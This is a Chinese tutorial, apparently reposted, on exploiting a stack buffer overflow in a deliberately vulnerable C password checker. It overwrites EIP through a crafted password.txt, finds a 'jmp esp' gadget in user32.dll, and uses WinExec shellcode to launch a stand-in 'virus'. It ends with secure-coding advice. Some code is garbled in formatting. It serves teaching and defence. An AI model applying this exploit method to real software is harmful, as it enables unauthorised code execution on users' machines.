怎樣利用簡單程式漏洞反病毒

  電腦已經走進我們的生活,與我們的生活息息相關,感覺已經離不開電腦與網路,對於電腦病毒,今天小編在這裡給大家推薦一些預防電腦病毒相關文章,歡迎大家圍觀參考,想了解更多,請繼續關注。

  一、前言

  大都數“病毒”都是可執行檔案***EXE格式***,都是傳統意義上的惡意程式,它們在被使用者雙擊執行後,就開始執行自身程式碼,實現相應的功能,從而對使用者的計算機產生威脅。而這次我打算討論一種特殊的情況,也就是利用正常程式所存在的漏洞,僅僅通過文字文件***TXT格式***,來實現我們的對話方塊的啟動。所以這篇文章的討論重點就在於簡單的漏洞發掘以及運用ShellCode實現漏洞的利用。在此不會討論複雜的情況,僅僅用淺顯的例子來說明這些問題,因為即便是現實中的複雜情況,其基本原理是相似的。這也是為以後的篇章中討論更加複雜的情況打下基礎。

  二、編寫含有漏洞的程式

  在現今的軟體開發中,儘管程式設計師的水平在提高,程式設計技巧在不斷進步,但是大部分人對於電腦保安的概念還是比較模糊的,真正掌握電腦保安技術的人畢竟還是少數。特別是電腦保安往往還涉及到系統底層原理、彙編甚至是機器碼,這就更加令人望而卻步。我在這裡討論的就是一個含有漏洞的程式,它含有緩衝區溢位漏洞。緩衝區溢位攻擊是一種非常有效而常見的攻擊方法,在被發現的眾多漏洞中,它佔了大部分。

  以下就是本次所研究的程式:

  #include #include

  #include #define PASSWORD "1234567890"

  int CheckPassword***char *pPassword***

  { int nCheckFlag;

  char szBuffer[30]; nCheckFlag = strcmp***pPassword, PASSWORD***;

  strcpy***szBuffer, pPassword***; //存在溢位漏洞 return nCheckFlag;

  }

  int main****** {

  int nFlag = 0; char szPassword[1024];

  FILE *fp; LoadLibrary***"user32.dll"***;

  if***!***fp=fopen***"password.txt", "rw+"********* {

  return 0; }

  fscanf***fp,"%s",szPassword***; nFlag=CheckPassword***szPassword***;

  if***nFlag*** {

  printf***"Incorrect password!\n"***; }

  else {

  printf***"Correct password!\n"***; }

  fclose***fp***; getchar******;

  return 0; }

  這裡來講解一下程式的執行流程。main函式中首先會開啟當前目錄下的password.txt檔案,然後呼叫CheckPassword函式,該函式會對從password.txt檔案讀取出來的內容與字串“1234567890”進行比較,用於驗證密碼是否正確,之後將使用者所輸入的密碼拷貝到子函式自己建立的陣列中,再返回到主函式,最後對使用者所輸入的密碼是否正確進行顯示。

  這個程式中之所以要用TXT檔案來儲存使用者輸入的密碼,就是為了方便之後的討論與觀察。而在子函式中將使用者輸入的密碼拷貝到一個數組中,僅僅是為了創造一個緩衝區溢位的漏洞,也是為了方便之後的討論。在現實中,可能難以出現這樣的情況。但是原理是一樣的,緩衝區溢位漏洞出現的原因就是因為沒能檢測待拷貝資料的大小,而直接將該資料複製到另一個緩衝區中,從而使得惡意程式得到了攻擊的機會。

  三、漏洞原理的分析

  不論是對於本篇文章所討論的最簡單的緩衝區溢位的漏洞,還是複雜的,可能會在未來的文章中討論的堆溢位以及SEH的利用,其核心可以說都是利用了指標***或者說是相應的地址***來做文章。對於這次的程式來說,首先需要從反彙編的角度簡單講一下程式的執行原理。

  主函式中會呼叫CheckPassword函式,那麼在反彙編中,就需要找到呼叫該函式的位置,這個很簡單:

  004010F3 E8 0DFFFFFF call 00401005

  之所以能很快確定函式的位置,是因為它在源程式中就在fscanf函式的後面,那麼反彙編中,他的位置也在fscanf的後面。這裡有必要簡單說一下call的實現原理。它分為兩步,第一步是向棧中壓入當前指令在記憶體中的位置,即儲存返回地址***EIP所儲存的地址,也就是call的下一條指令,EIP入棧***;第二步是跳轉到所呼叫函式的***處。進入這個call,來到以下反彙編程式碼處:

  00401020 55 push ebp 00401021 8BEC mov ebp,esp

  00401023 83EC 64 sub esp,64

  可以說每一個函式的開始,其反彙編結果都是這麼幾句。主要是三步:第一步需要儲存當前棧幀狀態值,以備後面恢復本棧幀時使用***EBP入棧***;第二步將當前棧幀切換到新棧***將ESP值裝入EBP,更新棧幀底部***;第三步給新棧幀分配空間***把ESP減去所需空間的大小,抬高棧幀***。

  這裡需要說明的是,以上所分析的是程式的Debug版,如果是Release版,由於做了優化,可能會有些不同,但也是遵循基本原理,在這裡就不再對Release版進行討論。

  現在來看看堆疊中的情況,按照記憶體地址遞減的順序,EBP相比EIP位於記憶體的低地址處,這兩個暫存器在棧中是挨著的。再來看看CheckPassword函式結尾處的反彙編程式碼:

  0040106C 8BE5 mov esp,ebp 0040106E 5D pop ebp

  0040106F C3 retn

  可見這裡首先將esp指向了當前棧幀的棧底,之後從棧中彈出原始ebp的值,這樣就實現了恢復棧幀的操作。之後的retn語句,就是再次彈出棧頂的值***EIP***,並轉去執行EIP所指向的語句,也就是之前的call的下一條語句。

  分析至此,就可以發現,我們可以通過修改EIP所儲存的值***指令地址***,來實現跳轉到我們自己的“病毒程式碼”地址處的目的。當然這裡我不會利用反彙編工具進行修改,而是直接運用password.txt這個文字文件來實現。

  四、定位EIP

  知道了漏洞利用的原理,那麼接下來就需要確定EIP的位置。EIP的位置儘管可以通過反彙編工具獲得,但是在此我不想用這種簡單的方法,而是運用Windows的報錯對話方塊實現EIP的定位。當EIP被覆蓋為一個無效地址後,系統就會提示出錯,報錯對話方塊就能夠顯示出來究竟是哪個地址***EIP***出錯,這裡可以通過一些小技巧來定位。

  當然,每個人往往有自己認為最好的定位方法,我個人比較喜歡的方法是運用26個小寫字母連同26個大寫字母組成一長串資料進行測試,這樣一次性就能夠測試52個位元組的長度。具體方法是將這52個字母寫入password.txt檔案,執行程式檢視是否報錯,如果不報錯,就再寫入52個字母,直至報錯為止。幸運的是,在這個程式中,前52個字母就使得報錯對話方塊彈出了:

  從報錯對話方塊中可以得知,EIP已經被覆蓋為0x5251504f,通過查詢ASCII碼錶可以得知,對應的四個字母是OPQR***小端顯示,我這裡反過來寫了***,於是可知,EIP的位置就是password.txt文件內容的第41至第44個位元組處。

  確定了EIP的位置,那麼接下來就要確定應當給它賦以什麼地址。這裡當然可以利用反彙編軟體在程式中尋找空餘的位置,將程式碼寫入,然後令EIP指向該程式碼處。但是這裡我打算用更加巧妙的方法——jmp esp。我們可以將EIP指向記憶體中jmp esp的地址,然後將我們的程式的機器碼***ShellCode***順序從EIP處向下***地址高處***覆蓋,這樣jmp esp就能夠直接跳到我們的程式碼處執行了。

  首先程式設計序尋找jmp esp:

  #include #include

  #include #define DLL_NAME "user32.dll"

  int main******

  { BYTE *ptr;

  int position,address; HINSTANCE handle;

  BOOL done_flag = FALSE; handle = LoadLibrary***DLL_NAME***;

  if***!handle*** {

  printf***"load dll error!"***; exit***0***;

  } ptr = ***BYTE****handle;

  for***position = 0; !done_flag; position++***

  { try

  { if***ptr[position]==0xFF && ptr[position+1]==0xE4***

  { int address = ***int***ptr + position;

  printf***"OPCODE found at 0x%x\n", address***; }

  } catch***...***

  { int address = ***int***ptr + position;

  printf***"END OF 0x%x\n", address***; done_flag = true;

  } }

  return 0; }

  程式執行結果如下:

  上述程式中是在user32.dll中尋找jmp esp的機器碼FFE4,會查詢到很多的結果,選擇其中的一個就可以。這裡需要特別說明的是,不同的計算機不同的作業系統版本,所找到的jmp esp的地址可能會不一樣,就是說jmp esp的地址往往並不是通用的。當然,也會有幾個地址是跨版本的,這個在這裡不討論。這次我們選擇截圖中的第一個地址——0x77d93ac8。由於是小端顯示,所以應當在“OPQR”的位置反向書寫,即c83ad977。當然這裡不能夠直接用類似於記事本這樣的軟體進行編輯,而是需要用十六進位制程式碼編輯器操作。

  五、編寫ShellCode

  為了簡單起見,我這裡將“病毒”程式與上述漏洞程式放在同一目錄下,並且為了編寫方便,我這裡將“病毒”名稱更改為Hack.exe。為了實現“病毒”的啟動,我不打算直接將“病毒”程式轉化為ShellCode,畢竟那樣的話工作量太大,而是編寫一個能夠啟動“病毒”程式的ShellCode。這裡我使用WinExec函式用於“病毒”的啟動,最後再用ExitProcess函式實現程式的正常退出。查詢這兩個函式控制代碼的程式碼如下:

  #include #include

  typedef void ****MYPROC******LPTSTR***; int main******

  { HINSTANCE LibHandle;

  MYPROC ProcAdd; LibHandle = LoadLibrary***"kernel32"***;

  //獲取user32.dll的地址 printf***"msvcrt LibHandle = //x%x\n", LibHandle***;

  //獲取MessageBoxA的地址 ProcAdd=***MYPROC***GetProcAddress***LibHandle,"WinExec"***;

  printf***"system = //x%x\n", ProcAdd***;

  return 0; }

  執行結果如下:

  上述程式首先需要知道被查詢函式所在的動態連結庫,先查出動態連結庫的地址,之後利用這個地址,從而查詢相應API函式的控制代碼。可以知道WinExec的控制代碼為0x7c863231,那麼同理,ExitProcess函式的控制代碼為0x7c81bfa2。

  至此,我們已經獲得了足夠的資訊,接下來就可以進行ShellCode的編寫了,但是一般來說,我們不會特意去記憶十六進位制的機器碼,因此都是先寫出彙編程式,然後利用相應的軟體通過轉換,從而檢視其機器碼。具體的方法有很多,我還是比較傾向於在VC++6.0中以內嵌組合語言的形式進行編寫:

  _asm {

  xor ebx,ebx push ebx

  push 0x6578652e push 0x6b636148

  mov eax,esp ;壓入字元Hack.exe

  push ebx push eax

  mov eax,0x7c863231 call eax ;呼叫WinExec函式

  push ebx

  mov eax,0x7c81bfa2 call eax ;呼叫ExitProcess函式

  }

  這裡需要把asm中的內容轉化為機器碼,VC++6.0就可以實現***也可以使用其它反彙編軟體***。利用十六進位制檔案編輯器,將提取出來的機器碼直接填寫進password.txt中EIP的後面。

  這裡要說明的是,儘管以上僅僅是呼叫了非常簡單的函式,但是實際上,不管是什麼函式,其呼叫原理和上面是一樣的,都是首先需要把引數從右至左入棧,然後call該函式所在的地址。為了增強可移植性,可以利用TEB獲取相關函式的控制代碼,從而編寫出通用性極高的ShellCode出來***這些高階方法可能會在以後的文章中討論***。由此可見,漏洞可以很容易被惡意程式所利用。

  當編輯完password.txt後,執行CheckPassword.exe程式,結果如下圖所示:

  由此可見,僅僅是通過修改password.txt就能夠在神不知鬼不覺的情況下實現病毒的啟動***儘管這一過程有諸多限制***。而這裡所用到的WinExec函式也多用於“下載者”中,它是一種功能單一的惡意程式,能夠令受害的計算機到黑客指定的URL地址去下載更多的惡意程式並執行。“下載者”體積小,易於傳播,當它下載到病毒木馬後,通常就使用諸如WinExec這樣的函式來執行病毒。

  六、“病毒”的防範

  漏洞的發掘與利用是一個較為高深的話題,在現實中,其發掘的難度是遠遠高於我在這裡所舉的例子的。高明的黑客手中往往掌握著一些不被軟體生產廠家所知道的漏洞,他們利用這些軟體漏洞,往往就能夠為所欲為。所以,這就要求我們培養良好的安全編碼習慣。在上述例子中,漏洞的出現就是因為使用了strcpy函式,更具體來說,因為我們沒有對將要複製到緩衝區中的資料進行長度檢驗,導致了EIP被非法覆蓋,跳去了不應該去的位置,執行了不該執行的程式碼。現實中的漏洞往往也是這個道理。所以在這種情況下,應當事先檢驗資料的長度,至少將strcpy替換成strncpy,儘管後者也存在危險,但至少會按照程式設計者要求的資料量的大小來拷貝資料,這就安全多了。當然我們系統版本的不斷升級,在安全性方面也會不斷進步。比如加入的Security Cookie就能夠較好地對緩衝區溢位的問題進行防範。不過這也不是絕對安全的,畢竟在攻與防的對立統一中,技術是不斷進步的。但是歸根結底,只有在源頭上做足功夫,才會讓黑客們無從下手。

  七、小結

  本篇文章構造了一個特殊的環境——存在漏洞的程式——實現了“病毒”的自啟動。由於關於漏洞的知識體系比較龐大且較為高深,我也只能用這個簡單的程式來讓大家看看冰山的一角。這裡需要再次說明的是,現實中漏洞的原理和利用方法可以說和這個例子是差不多的。現實中可能需要我們編寫出更為通用的ShellCode來實現我們想要完成的功能,這些會在以後的文章中進行討論。本篇文章僅僅是為了打好基礎,為未來更加高深的知識的探討做好準備。